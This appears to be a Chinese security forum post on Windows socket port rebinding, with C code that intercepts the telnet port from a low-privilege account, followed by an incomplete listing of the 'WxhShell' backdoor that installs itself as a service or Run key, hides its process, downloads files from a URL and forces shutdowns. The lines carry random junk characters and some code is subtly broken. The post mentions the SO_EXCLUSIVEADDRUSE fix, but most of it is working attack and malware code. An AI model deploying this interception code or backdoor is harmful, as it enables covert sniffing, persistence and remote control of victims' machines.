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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: re/u3\S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t( V 2  
eY`9J4o'  
  saddr.sin_family = AF_INET; 37:tu7e~c  
Qxa Me8 (  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -zMvpe-am&  
$*$4DG1gaR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r>|S4O  
CQ<d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f/Y7@y  
"PElQBLP:  
  这意味着什么?意味着可以进行如下的攻击: 0sKo NzE  
[ ^\{>m7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T+~&jC:{  
H1%o)'Kut4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l{.PyU5)  
*0@Z+'M?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PPrvVGP   
ewN|">WXQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3I)oqS@q'  
I4w``""c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %%n&z6w-  
Fje /;p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '_Pb\ jK  
4clCZ@\K^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )'g4Ty  
B* 3_m _a  
  #include F=5vA v1  
  #include g\/|7:yB]  
  #include CdCY#$Z  
  #include    +}( ]7du  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |x1Ttr,  
  int main() K"g{P  
  { i !sVQ(:  
  WORD wVersionRequested; >7X5/z  
  DWORD ret; 4IB`7QJq  
  WSADATA wsaData; .,(x7?  
  BOOL val; i$3#/*Y7_L  
  SOCKADDR_IN saddr; jqj}j2 9  
  SOCKADDR_IN scaddr; }*%=C!m4R!  
  int err; >wb*kyO7(#  
  SOCKET s; )v+&l9D  
  SOCKET sc; oNl-! W   
  int caddsize; N;P/$  
  HANDLE mt; y c<%f  
  DWORD tid;   ]Hi1^Y<  
  wVersionRequested = MAKEWORD( 2, 2 ); AVU'rsXA  
  err = WSAStartup( wVersionRequested, &wsaData ); rk&oKd_&i  
  if ( err != 0 ) { pX>wMc+  
  printf("error!WSAStartup failed!\n"); Ekrpg^3qp"  
  return -1; u 1}dHMoX~  
  } bT9:9LP  
  saddr.sin_family = AF_INET; rO#$SW$YW  
   xDekC~ Zq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xOg|<Nnl  
*kF/yN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i>G:*?a  
  saddr.sin_port = htons(23); rk ,64(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V_v+i c^  
  { wod{C!  
  printf("error!socket failed!\n"); -~\7ZRP8  
  return -1; 54TWFDmGi  
  } F/p1?1M  
  val = TRUE; cMy?&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F{7 BY~d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L7(.dO0C  
  { d@cyQFX  
  printf("error!setsockopt failed!\n"); 3)&rj 7  
  return -1; i ^N}avO  
  } Cx(HsJ! ,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JPT&!%~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U'5p;j)_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lu.xv6+  
w8>bct3@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {BAZ`I  
  { I|>IV  
  ret=GetLastError(); q4"^G:  
  printf("error!bind failed!\n"); jl]p e7-  
  return -1; AC fhy[,  
  } WYCDEoqU2  
  listen(s,2); D,-L!P  
  while(1) ;tD?a7  
  { QiRx2Z*\  
  caddsize = sizeof(scaddr); }!s$ / Kn  
  //接受连接请求 [ CU8%%7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1_}k)(n  
  if(sc!=INVALID_SOCKET) ih:%U  
  { j}jU.\*v<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +'` ^ N  
  if(mt==NULL) {=R vFA  
  { OQuTM[W  
  printf("Thread Creat Failed!\n"); zn*i  
  break; l`JKQk   
  } g8"{smP/  
  } *;t_V laZ  
  CloseHandle(mt); f'S0 "  
  } X)[QEq^  
  closesocket(s); ;%u)~3B$JK  
  WSACleanup(); dwzk+@]8  
  return 0; V+*1?5w  
  }   kwt;pxp i  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?0s&Kz4B  
  { SnO,-Rg  
  SOCKET ss = (SOCKET)lpParam; G CcSI;w  
  SOCKET sc; uA%F0oM  
  unsigned char buf[4096]; XT==N-5,  
  SOCKADDR_IN saddr; 63i&e/pv  
  long num; 1tpt433  
  DWORD val; .N#grk)C  
  DWORD ret; zq#gf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ooYs0/,{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oX/#Mct{s  
  saddr.sin_family = AF_INET; .M\0+,%/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *O Kve  
  saddr.sin_port = htons(23); ux7g%Q ^"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R*O6Z"h  
  { h&{>4{  
  printf("error!socket failed!\n"); o`ODz[04  
  return -1; bqR0./V  
  } hA"z0Fszh  
  val = 100; ue}lAW{q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a>nV!b\n5  
  { 9>5]y}.{  
  ret = GetLastError(); E|B1h!!\c  
  return -1; 'BEM:1)  
  } YjG:ECj}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T=cb:PD{%  
  { nQ'AB~ Do  
  ret = GetLastError(); !un_JZD  
  return -1; &\r_g!Mh  
  } j%*<W> O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |:`gjl_Nf  
  { RAEiIf!3  
  printf("error!socket connect failed!\n"); _P]k6z+  
  closesocket(sc); > Gxu8,_;  
  closesocket(ss); @/?$ZX/e[  
  return -1; pM@0>DVi  
  } :3*0o3C/  
  while(1) ga91#NWgK  
  { RK=YFE 0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W&a<Q)o*I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m=I A/HOR^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \RTXfe-`  
  num = recv(ss,buf,4096,0); W;wu2'  
  if(num>0) nHL(v  
  send(sc,buf,num,0); ch}(v'xv(  
  else if(num==0)  qZP>h4  
  break; }EHmVPe  
  num = recv(sc,buf,4096,0); gCS%J40r  
  if(num>0) F (:] lM|  
  send(ss,buf,num,0); 3gmu-t v  
  else if(num==0) ps?B;P  
  break; .gHL(*1P  
  } ;0\  
  closesocket(ss); j2{ '!  
  closesocket(sc); %OsV(7  
  return 0 ; BhJ~jV"  
  } <^jW  
o#&;,9  
^ )/oDyO  
========================================================== eTa[~esu.  
[5kaF"  
下边附上一个代码,,WXhSHELL <?iwi[S  
*YY:JLe  
========================================================== }+f@$L  
re} P  
#include "stdafx.h" -{fbZk&A  
uU00ZPS*G[  
#include <stdio.h> Nb;Yti@Y.  
#include <string.h> 1Q$Z'E}SK@  
#include <windows.h> ^k?Ig.m  
#include <winsock2.h> +Gvf5+ 5VR  
#include <winsvc.h> M3dNG]3E  
#include <urlmon.h> enJE#4Z5&s  
qu/59D  
#pragma comment (lib, "Ws2_32.lib") 47XQZ-}4  
#pragma comment (lib, "urlmon.lib") #r)c@?T@j  
"eal Yveu  
#define MAX_USER   100 // 最大客户端连接数 u_U51C\rb  
#define BUF_SOCK   200 // sock buffer j^Z3  
#define KEY_BUFF   255 // 输入 buffer bKH8/*Yk  
F/w!4,'<?5  
#define REBOOT     0   // 重启 .Su9fj y%  
#define SHUTDOWN   1   // 关机 'rdg  
7nHlDPps)  
#define DEF_PORT   5000 // 监听端口 "VcG3.  
Ey u?T  
#define REG_LEN     16   // 注册表键长度 "I]% aK0  
#define SVC_LEN     80   // NT服务名长度 yeNC-U<  
5ff66CRw  
// 从dll定义API # 1,(I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a4! AvG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EkqsE$52  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x3my8'h@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KdOy3O_5N  
q-}J0vu\K  
// wxhshell配置信息 hQgi--Msw'  
struct WSCFG { ,*V{g pC7  
  int ws_port;         // 监听端口 !g~xn2m$R  
  char ws_passstr[REG_LEN]; // 口令 PTvP;  
  int ws_autoins;       // 安装标记, 1=yes 0=no |nj%G<  
  char ws_regname[REG_LEN]; // 注册表键名 @Tr8.4  
  char ws_svcname[REG_LEN]; // 服务名 vf(\?Js ,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kqA`d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `riK[@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _A \c 6#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c>r0 N[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vV| u+v{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y0U<l1(|  
?ei7jM",  
}; QSy=JC9  
/cDla5eej  
// default Wxhshell configuration ` oYrW0Vm  
struct WSCFG wscfg={DEF_PORT, ' 7>V4\"  
    "xuhuanlingzhe", PhM3?$  
    1, nK6{_Y>  
    "Wxhshell", C (_xqn  
    "Wxhshell", u*&wMR>Crf  
            "WxhShell Service", 7{X I^I:n  
    "Wrsky Windows CmdShell Service", z@biX  
    "Please Input Your Password: ", I "9S  
  1, !UlG! 820  
  "http://www.wrsky.com/wxhshell.exe", *B`wQhB%  
  "Wxhshell.exe" [3rvRJ.  
    }; V5RfxWtm:  
,y?0Iwf  
// 消息定义模块 q=E<y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jO$3>q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xi1/wbC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WrL&$dEJ?M  
char *msg_ws_ext="\n\rExit."; U)+Yh  
char *msg_ws_end="\n\rQuit."; }} l04kN_  
char *msg_ws_boot="\n\rReboot..."; -pc*$oe  
char *msg_ws_poff="\n\rShutdown..."; BxO8oKe  
char *msg_ws_down="\n\rSave to "; i%0Ml:Y  
y#^d8 }+  
char *msg_ws_err="\n\rErr!"; rRL:]%POT  
char *msg_ws_ok="\n\rOK!"; qI"@ PI!s  
Jpws1~  
char ExeFile[MAX_PATH]; sL XQ)Ce  
int nUser = 0; 4jj@"*^a  
HANDLE handles[MAX_USER]; xO6)lVd  
int OsIsNt; grnlJ=  
do%6P^ qA  
SERVICE_STATUS       serviceStatus; 2|Hq[c=~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yyby 1  
QkwBw^'_5  
// 函数声明 7\K=8G  
int Install(void); 3j(GcR 9  
int Uninstall(void); z6b!,lp  
int DownloadFile(char *sURL, SOCKET wsh); N%:QaCZKw  
int Boot(int flag); Ylll4w62N  
void HideProc(void); BYrj#n5  
int GetOsVer(void); y}5H<ZcXA  
int Wxhshell(SOCKET wsl); < ppg$;  
void TalkWithClient(void *cs); >c?Z.of  
int CmdShell(SOCKET sock); F%t`dz!L  
int StartFromService(void); r+;op_  
int StartWxhshell(LPSTR lpCmdLine); c Q|nL  
/A4zR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4E}/{1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9#iu#?*B  
diGPTV-?$  
// 数据结构和表定义 ub6=^`>h  
SERVICE_TABLE_ENTRY DispatchTable[] = kc\^xq~  
{ iu2{%S)w  
{wscfg.ws_svcname, NTServiceMain}, Je[wGF:%:$  
{NULL, NULL} cWP34;NNM  
}; m49GCo k+  
`\P#TBM  
// 自我安装 ?A;x%8}  
int Install(void) ksT2_Ic  
{ nWfOiw-t  
  char svExeFile[MAX_PATH]; J"L+`i  
  HKEY key; e-ILUzT  
  strcpy(svExeFile,ExeFile); (u+3{Eb  
5vxJ|Hse@  
// 如果是win9x系统,修改注册表设为自启动 &[}b HX /  
if(!OsIsNt) { =U!M,zw4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \IbGNV`q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g>A*kY  
  RegCloseKey(key); 3G dWq*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WrQe'ny  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c%yhODq/  
  RegCloseKey(key); %,E\8{I+  
  return 0;  PW x9CT  
    } +;tXk  
  } U@!e&QPn  
} +LCpE$H  
else { nc!P !M  
Wqy|Y*$qT  
// 如果是NT以上系统,安装为系统服务 L]3 V)`}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >f JY  
if (schSCManager!=0) Lqb9gUJ:U  
{ #!l\.:h%  
  SC_HANDLE schService = CreateService V<Q''%k  
  ( LWuciHfd+  
  schSCManager, V6B`q;lA  
  wscfg.ws_svcname, j]#qq]c  
  wscfg.ws_svcdisp, 'z8?_{$   
  SERVICE_ALL_ACCESS, w xKlBx7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jw)Uk< \  
  SERVICE_AUTO_START, ~oy =2Q<Z  
  SERVICE_ERROR_NORMAL, d`q<!qFZh  
  svExeFile, `h}fS4CO  
  NULL, 9q5jqFQ  
  NULL, X]d;x/2  
  NULL, A}v! vVg  
  NULL, *]NG@^y  
  NULL ;fw}<M!6  
  ); lk]q\yO_%  
  if (schService!=0) U,Ya^2h%  
  { (pN:ET B  
  CloseServiceHandle(schService); O%L]*vIr  
  CloseServiceHandle(schSCManager); VAX@'iZr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w{l}(:xPp  
  strcat(svExeFile,wscfg.ws_svcname); uT:'Kkb!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PTrKnuM\J_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <fg~+{PA&  
  RegCloseKey(key); L& ucTc =  
  return 0; ce@1#}*  
    } }W^%5o87{  
  } >zFk}/  
  CloseServiceHandle(schSCManager); GdHFgxI  
} r#rL~Rsd}  
} A[:0?Ez=  
P0VXHE1p  
return 1; $`,10uw  
} !Hq$7j_  
2o2jDQ|7  
// 自我卸载 @6\Id7`Ea  
int Uninstall(void) KT$Za  
{ /9T.]H ~  
  HKEY key; _)-t#Ve  
fUj[E0yOF  
if(!OsIsNt) { C+o1.#]JM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n-zAkKM  
  RegDeleteValue(key,wscfg.ws_regname); T%74JRQ  
  RegCloseKey(key); ]!CMo+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O(x1Ja,&  
  RegDeleteValue(key,wscfg.ws_regname); }huj%Pnk )  
  RegCloseKey(key); 3-x ;_  
  return 0; B' }h6ZH  
  } 9U~fc U6  
}  ac  
} 8J|2b; Vf  
else { O|%03q(  
x*>@knP<-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qw>~] d,Z  
if (schSCManager!=0) OlRtVp1  
{ !r\u,l^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o%3i(H  
  if (schService!=0) t5O '7x  
  { AXnRA W  
  if(DeleteService(schService)!=0) { X83,f CCl5  
  CloseServiceHandle(schService); 3.?G,%S5.$  
  CloseServiceHandle(schSCManager); atr 0hmQ  
  return 0; Wo)$*?  
  } J9aqmQj('  
  CloseServiceHandle(schService); 0'wchy>  
  }  +_E^E  
  CloseServiceHandle(schSCManager); ^!&6z4DP  
} 3CL1Z\8To  
} (\8IgQ{  
(KG2X  
return 1; X$r5KJU  
} +O$`8a)m  
aSse' C<a  
// 从指定url下载文件 74_':,u;]~  
int DownloadFile(char *sURL, SOCKET wsh) }%75 Wety  
{ z)%Ke~)<\@  
  HRESULT hr; S\76`Ot  
char seps[]= "/"; ]{Y7mpdB  
char *token; <JUumrEo  
char *file; /]U),LbN  
char myURL[MAX_PATH]; 8*zORz  
char myFILE[MAX_PATH]; 3~q#P   
B*Z}=$1j  
strcpy(myURL,sURL); osM[Xv  
  token=strtok(myURL,seps); {Jbouj?V!  
  while(token!=NULL) +{~ cX] |  
  { %-?k [DL6  
    file=token; ^%5 ;Sc1V  
  token=strtok(NULL,seps); _tlr8vL  
  } 6~34L{u  
d+qeZGg^A  
GetCurrentDirectory(MAX_PATH,myFILE); Xsk/U++  
strcat(myFILE, "\\"); `. i #3P  
strcat(myFILE, file); (N"9C+S}  
  send(wsh,myFILE,strlen(myFILE),0); 953GmNZ7  
send(wsh,"...",3,0); HIGTo\]Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &s#OiF8  
  if(hr==S_OK) mUan(iJ  
return 0; *""iXi[  
else hKVb#|$  
return 1; = }ELu@\V[  
s4uZ>  
} <) cJz  
&?@gCVNO,  
// 系统电源模块 _ <Ip0?N  
int Boot(int flag) (N6=+dNY  
{  h3 e %(a  
  HANDLE hToken; x)R1aq  
  TOKEN_PRIVILEGES tkp; y(<+=  
'}l7=r   
  if(OsIsNt) { $bU.6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /&N\#;kK?b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5X PoQ^  
    tkp.PrivilegeCount = 1;  eC[G4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :]icW ^%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aH7@:=B  
if(flag==REBOOT) { G>edJPfQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QsX`IYk  
  return 0; M1z ?E@kz  
} <<DPer2  
else { r}:D g fn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P^aNAa  
  return 0; j ];#=+  
} EG8%X"p  
  } ZU$QwI8  
  else { ep6V2R  
if(flag==REBOOT) { 18^K!:Of  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wG&Z7C b  
  return 0; |w"G4J6ha  
} =}" P;4:  
else { nt%fJ k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /2Z7  
  return 0; a|5<L  
} O]XgA0]  
} T |&u?  
PYwGGB-  
return 1; :IO"' b  
} lDL(,ZZS`  
* V_b/Vt  
// win9x进程隐藏模块 ef@F!s_fI  
void HideProc(void) +4n}H}9l  
{ >]HvXEdNZ|  
ta@fNS4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Sim$:5P  
  if ( hKernel != NULL ) R2==<"gq  
  { dy~M5,zn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;Kh[6{W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8%`h:fE  
    FreeLibrary(hKernel); %J+ w9Z  
  } F0wW3+G  
-k  }LW4  
return; "yK)9F[9Mo  
} I^)_rOgM  
Rzyaicj^c  
// 获取操作系统版本 .NJ Ne  
int GetOsVer(void) cSBS38>  
{ B1j^qoC.5  
  OSVERSIONINFO winfo; cm8co  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g,G{%dGsk  
  GetVersionEx(&winfo); V`0Y p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iA|n\a~ny,  
  return 1; hh$i1n  
  else 4}Y? :R  
  return 0; ?Ld:HE  
} >[N6_*K]  
cJ>^@pd{  
// 客户端句柄模块 sC ?e%B  
int Wxhshell(SOCKET wsl) sY[!=`@  
{ Ax 4R$P.]u  
  SOCKET wsh; T-\q3X|y/  
  struct sockaddr_in client; v+i==vxg  
  DWORD myID; ?k=)T]-}  
YkQ=rurE  
  while(nUser<MAX_USER) 9 ge'Mo  
{ lmIphOUoIw  
  int nSize=sizeof(client); u`XZtF<vf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gk}.L E  
  if(wsh==INVALID_SOCKET) return 1; LWxP}? =  
S#0C^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cpH*!*S  
if(handles[nUser]==0) M=fhRCUB  
  closesocket(wsh); ('`mPD,  
else ~(L&*/c  
  nUser++; *c( J4  
  } s]HJcgI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gx|/ Jq  
#4AqWyp#f  
  return 0; ivSpi?   
} ?btX&:j2P  
ti<;>P[4  
// 关闭 socket AHT(Z~ C  
void CloseIt(SOCKET wsh) b%X<'8 z9Z  
{ R0yp9icS  
closesocket(wsh); w[uw hd  
nUser--; k#2b3}(,  
ExitThread(0); ;p"#ZS7  
} {;38&Izwz  
QvzE:]pyi  
// 客户端请求句柄 Q@TeU#2Y  
void TalkWithClient(void *cs) &!*p>Ns)e  
{ Va/}|& 9  
C@MJn)$4  
  SOCKET wsh=(SOCKET)cs; D7v.Xq|  
  char pwd[SVC_LEN]; }cIj1:  
  char cmd[KEY_BUFF]; t?p>L*  
char chr[1]; v){X&HbP  
int i,j; 9Z:pss@  
W,%qL6qV  
  while (nUser < MAX_USER) { zB"y^g  
3P*"$fH  
if(wscfg.ws_passstr) { rY"EW"y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'l1cuAP!+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); InG<B,/W?  
  //ZeroMemory(pwd,KEY_BUFF); ^Uldyv/  
      i=0; K&&YxX~ 3  
  while(i<SVC_LEN) { ]2z Gb5s"  
NV^n}]ci  
  // 设置超时 K14{c1  
  fd_set FdRead; 602=qb  
  struct timeval TimeOut; 5?TjuGc  
  FD_ZERO(&FdRead); %Gjjl*`E  
  FD_SET(wsh,&FdRead); ks8xxY  
  TimeOut.tv_sec=8; F'55BY*!  
  TimeOut.tv_usec=0; ([hd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |H8UT S X+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qjRp5  
Z-i$KF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a]x\e{  
  pwd=chr[0]; Csm23QLsg)  
  if(chr[0]==0xd || chr[0]==0xa) { FFc?Av?_  
  pwd=0; z\<gm$1CB  
  break; $t>ow~Xi  
  } rzKn5Z  
  i++; a@-!,Hi  
    } e)4L}a  
-:V2Dsr6;  
  // 如果是非法用户,关闭 socket f q*V76F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 68!=`49r>  
} PLWx'N-kqL  
&&n-$WEl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M5B?`mTl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lJ<( mVt  
N4, !b_1  
while(1) { )eWg2w]  
YifTC-Q;  
  ZeroMemory(cmd,KEY_BUFF); 1<f,>BQ+  
^^(4xHN  
      // 自动支持客户端 telnet标准   Xx=.;FYk  
  j=0; GnW_^$Fs  
  while(j<KEY_BUFF) { -KCQ!0\F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QsPL^ Ny  
  cmd[j]=chr[0]; 4!<[5+.  
  if(chr[0]==0xa || chr[0]==0xd) { Oc^bbC  
  cmd[j]=0; 4Bq4d.0  
  break; .w~zW*M0  
  } ,:3Di (  
  j++; v&u8Ks  
    } =A^VzIj(  
{FM:\/  
  // 下载文件 6H!"oC&  
  if(strstr(cmd,"http://")) { ]m""ga  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @33-UP9o  
  if(DownloadFile(cmd,wsh)) iLkP@OYgQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ks^EGy+O:-  
  else d#nKTqSg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B ? D|B  
  } t/:]\|]WB  
  else { 51x)fZQ  
Edav }z  
    switch(cmd[0]) { !CuLXuM  
  Og<UW^VR  
  // 帮助 YS&Q4nv-  
  case '?': { ^1+&)6s7V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \YsYOFc|  
    break; 6V c&g  
  } TWJ%? /d  
  // 安装 ?1MaA  
  case 'i': { v]BMET[w  
    if(Install()) )Waz bT@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XDq*nA8#5B  
    else 6\?< :Qto  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kg;1%J>ee  
    break; "npLl]XM  
    } _cH 7lO[  
  // 卸载 @C6.~OiP  
  case 'r': { ~@bh[o~rF  
    if(Uninstall()) Zae$M0)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HWT^u$a"  
    else XqTDLM&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |0/~7l  
    break; ~!W{C_*N  
    } / L/hR4  
  // 显示 wxhshell 所在路径 6'qC *r   
  case 'p': { m%km@G$  
    char svExeFile[MAX_PATH]; TwXqk>J  
    strcpy(svExeFile,"\n\r"); )F) (Hg  
      strcat(svExeFile,ExeFile); yPza  
        send(wsh,svExeFile,strlen(svExeFile),0); IPT\d^|f  
    break; .`K<Iug1  
    } |Ptv)D  
  // 重启 [.NG~ cpb  
  case 'b': { )R'~{;z }  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]J7.d$7T  
    if(Boot(REBOOT)) V}kQXz"9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =%V(n{7=  
    else { $,~D-~-  
    closesocket(wsh); qA6;Q$  
    ExitThread(0); :vkTV~  
    } b$:<T7vei  
    break; <)\  
    } 7}e73  
  // 关机 $.2#G"|  
  case 'd': { 8%wu:;*]%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /2e&fxxD  
    if(Boot(SHUTDOWN)) lUd;u*A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9vZD?6D,n  
